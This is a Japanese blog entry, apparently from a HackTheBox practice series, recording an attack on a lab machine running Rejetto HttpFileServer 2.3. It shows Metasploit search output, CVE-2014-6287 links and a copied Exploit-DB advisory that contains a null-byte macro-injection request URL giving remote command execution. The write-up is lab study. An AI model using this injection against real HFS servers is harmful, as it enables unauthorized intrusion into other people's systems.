HackTheBox頑張る その17 ~久しぶりに攻略+HSF

ちょっとだけまとまった時間があったので。
というかVIPを払い続けていたのに今更気がついた・・・


現在、とあるマシン攻略中。
以前のチートシートを参考にすることで、
久しぶりでもコマンドを次々打てるのでありがたい

今回のマシンは、HFSというサービスが起動しているらしい
HSFはHttp File Serverで、バージョン2.3に脆弱性があるらしい
metasploitで確認すると、以下が出てきた

msf5 > search HFS

Matching Modules
================

   #  Name                                        Disclosure Date  Rank       Check  Description
   -  ----                                        ---------------  ----       -----  -----------
   0  exploit/multi/http/git_client_command_exec  2014-12-18       excellent  No     Malicious Git and Mercurial HTTP Server For CVE-2014-9390
   1  exploit/windows/http/rejetto_hfs_exec       2014-09-11       excellent  Yes    Rejetto HttpFileServer Remote Command Execution


Interact with a module by name or index, for example use 1 or use exploit/windows/http/rejetto_hfs_exec

関連するCVEなどを確認する

rejettoというのは製品名なんですかね??
https://www.rejetto.com/

また、googleで調べると以下のような記事が
https://jvn.jp/vu/JVNVU95507011/index.html

ということでたどり着いたのが以下CEV
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6287



また、searchsploitで出てきたコードを以下に転記

# Exploit Title: HttpFileServer 2.3.x Remote Command Execution
# Google Dork: intext:"httpfileserver 2.3"
# Date: 11-09-2014
# Remote: Yes
# Exploit Author: Daniele Linguaglossa
# Vendor Homepage: http://rejetto.com/
# Software Link: http://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Windows Server 2008 , Windows 8, Windows 7
# CVE : CVE-2014-6287

issue exists due to a poor regex in the file ParserLib.pas


function findMacroMarker(s:string; ofs:integer=1):integer;
begin result:=reMatch(s, '\{[.:]|[.:]\}|\|', 'm!', ofs) end;


it will not handle null byte so a request to

http://localhost:80/?search=%00{.exec|cmd.}

will stop regex from parse macro , and macro will be executed and remote code injection happen.


## EDB Note: This vulnerability will run the payload multiple times simultaneously. 
##   Make sure to take this into consideration when crafting your payload (and/or listener).

こいつをもとにexploitしてUserだけは取れたので、今日はここまで・・・

以上